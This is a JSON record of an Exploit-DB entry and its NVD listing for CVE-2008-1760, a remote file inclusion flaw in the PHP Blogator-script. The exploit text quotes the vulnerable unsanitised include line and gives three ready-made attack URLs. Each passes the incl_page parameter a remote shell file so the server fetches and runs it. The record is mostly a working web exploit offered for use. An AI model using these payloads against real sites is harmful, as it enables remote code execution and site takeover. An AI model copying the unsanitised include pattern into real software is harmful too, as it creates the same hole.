{"hash": "d7ccee4bde06ca0643d2943180c4c6af9fe0951eee6c0b15c4f20906fd5f4e44", "id": "EDB-ID:5365", "lastseen": "2016-01-31T23:01:31", "viewCount": 4, "bulletinFamily": "exploit", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "edition": 1, "history": [], "enchantments": {"vulnersScore": 7.5}, "type": "exploitdb", "sourceHref": "https://www.exploit-db.com/download/5365/", "description": "Blogator-script 0.95 (incl_page) Remote File Inclusion Vulnerability. CVE-2008-1760. Webapps exploit for php platform", "title": "Blogator-script 0.95 incl_page Remote File Inclusion Vulnerability", "sourceData": "-------------------------------------------------------------------------\n -- JIKI Team [ JIKO + KIl1er ] ---\n-------------------------------------------------------------------------\n# Author : jiko\n# email : jalikom@hotmail.com\n# Home : www.no-back.org\n# Script : Blogator-script Version 2\n# Bug : Remote File Inclusion\n# Download : http://www.blogator-script.com/telecharger.php\n# file : struct_admin.php & struct_admin_blog.php & struct_main.php\n# Eror :\n <? include($incl_page); ?>\n=========================JIkI Team===================\n# Exploit :\n \n http://localhost/[script]/_blogadata/include/struct_admin.php?incl_page=http://localhost/shell.txt?\nhttp://localhost/[script]/_blogadata/include/struct_admin_blog.php?incl_page=http://localhost/shell.txt?\nhttp://localhost/[script]/_blogadata/include/struct_main.php?incl_page=http://localhost/shell.txt?\n=========================JIKI Team===================\n greetz : all my friend and H-T Team \n-------------------------------------------------------------------------\n -- JIKI Team [ JIKO + KIl1er ] --\n-------------------------------------------------------------------------\n\n# milw0rm.com [2008-04-04]\n", "objectVersion": "1.0", "cvelist": ["CVE-2008-1760"], "published": "2008-04-04T00:00:00", "osvdbidlist": ["44146", "44145", "44144"], "references": [], "reporter": "JIKO", "modified": "2008-04-04T00:00:00", "href": "https://www.exploit-db.com/exploits/5365/"}

{"result": {"cve": [{"id": "CVE-2008-1760", "type": "cve", "title": "CVE-2008-1760", "description": "Multiple PHP remote file inclusion vulnerabilities in Blogator-script before 1.01 allow remote attackers to execute arbitrary PHP code via a URL in the incl_page parameter in (1) struct_admin.php, (2) struct_admin_blog.php, and (3) struct_main.php in _blogadata/include.", "published": "2008-04-12T16:05:00", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-1760", "cvelist": ["CVE-2008-1760"], "lastseen": "2017-09-29T14:25:50"}]}}